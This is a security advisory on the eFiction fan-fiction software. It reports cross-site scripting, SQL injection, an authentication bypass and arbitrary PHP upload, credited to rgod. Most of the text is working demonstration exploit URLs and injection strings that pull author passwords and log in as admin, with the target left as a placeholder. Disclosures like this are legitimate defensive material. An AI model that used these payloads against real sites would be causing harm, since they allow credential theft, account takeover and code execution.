Description: rgod reported a vulnerability in eFiction. A remote user can inject SQL commands and conduct cross-site scripting attacks. A remote user can upload and execute arbitrary PHP code.
Several scripts do not properly filter HTML code from user-supplied input before displaying the input. A remote user can create
a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's
browser. The code will originate from the site running the eFiction software and will run in the security context of that site.
As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with
the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the
target user.
Some demonstration exploit URLs are provided:
For version 1.0, 1.1:
http://[target]/efiction/titles.php?action=viewlist&let=<script>alert(document.c
ookie)</script>
For version 2.0:
http://[target]/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%200,0,'<script>alert(document.cookie)</script>',0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,penname,0%20FROM%20fanfiction_authors%20/*
The software does not properly validate user-supplied input.
A remote user can supply specially crafted parameter values to execute SQL commands on the underlying database.
If magic_quotes_gpc
is disabled, the following scripts can be exploited:
For version 1.0:
http://[target]/[path]/authors.php?action=viewlist&let='%20UNION%20SELECT%20password,0%20FROM%
20fanfiction_authors/*
http://[target]/[path]/authors.php?action=viewlist&let=%27%20UNION%20SELECT%20password,password%20FROM%20efiction_fanfiction_authors/*&offset=0,40
/*
http://[target]/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%200,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,penname,0%20FROM%20fanfiction_authors%20
/*
http://[target]/[path]/viewstory.php?sid='%20UNION%20SELECT%200,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20fanfiction_authors%20/*
http://[target]/[pa
th]/viewstory.php?sid='%20UNION%20SELECT%200,0,penname,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20fanfiction_authors%20/*
For
version 1.1:
http://[target]/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%200,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,penname%20FROM%20fanfiction_
authors%20/*
http://[target]/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%20password,0,0,0,0,0,penname,0,0,0,0,0,0,0,0%20FROM%20fanfiction_authors%20/*
http
://[target]/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%20penname,0,0,0,0,0,0,0,0,0,password,0,0,0,0%20FROM%20fanfiction_authors%20/*
http://[target]/[path]
/titles.php?action=viewlist&let='%20UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,password,0,0,0,0%20FROM%20efiction_fanfiction_authors%20/*
http://[target]/[path]/viewuser.php?u
id='UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,password,0,0,0,0%20FROM%20fanfiction_authors%20/*
http://[target]/[path]/viewstory.php?sid='%20UNION%20SELECT%200,0,password,0,0
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20efiction_fanfiction_authors%20/*
http://[target]/[path]/viewstory.php?sid='%20UNION%20SELECT%20penname,penname,password,penna
me,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname%20FROM%20fanfiction_aut
hors%20/*
For version 2.0:
http://[target]/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%200,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,penname,0%20F
ROM%20fanfiction_authors%20/*
If magic_quotes_gpc is disabled, a remote user can inject specially crafted text for the username
value to bypass authentication and gain administrative access to the target application. Some demonstration exploit values are
provided:
For version 1.0:
username: 'UNION SELECT 'd41d8cd98f00b204e9800998ecf8427e',penname,uid,userskin,level,email FROM
fanfiction_authors where level=1/*
password: [nothing]
For version 1.1:
username: 'UNION SELECT 'd41d8cd98f00b204e9800998ecf8427e',penname,uid,userskin,level,email
,categories FROM fanfiction_authors where level=1/*
password: [nothing]
For version 2.0:
username: 'UNION SELECT 'd41d8cd98f00b204e9800998ecf8427e',penname,uid,use
rskin,level,email,categories,ageconsent FROM fanfiction_authors where level=1/*
password: [nothing]
A remote user can register
to obtain a temporary password and then invoke the image upload feature to upload a file containing arbitrary PHP code. Then, the
user can load one of the following URLs to cause the arbitrary PHP code to be executed:
For version 1.0, 1.1:
http://[target]/[path_to_efiction]/stories/[your_usern
ame]/images/cmd.php
For version 2.0:
http://[target]/[path_to_efiction]/stories/[user_id]/images/cmd.php
The original advisory
is available at:
http://rgod.altervista.org/efiction2_xpl.html
|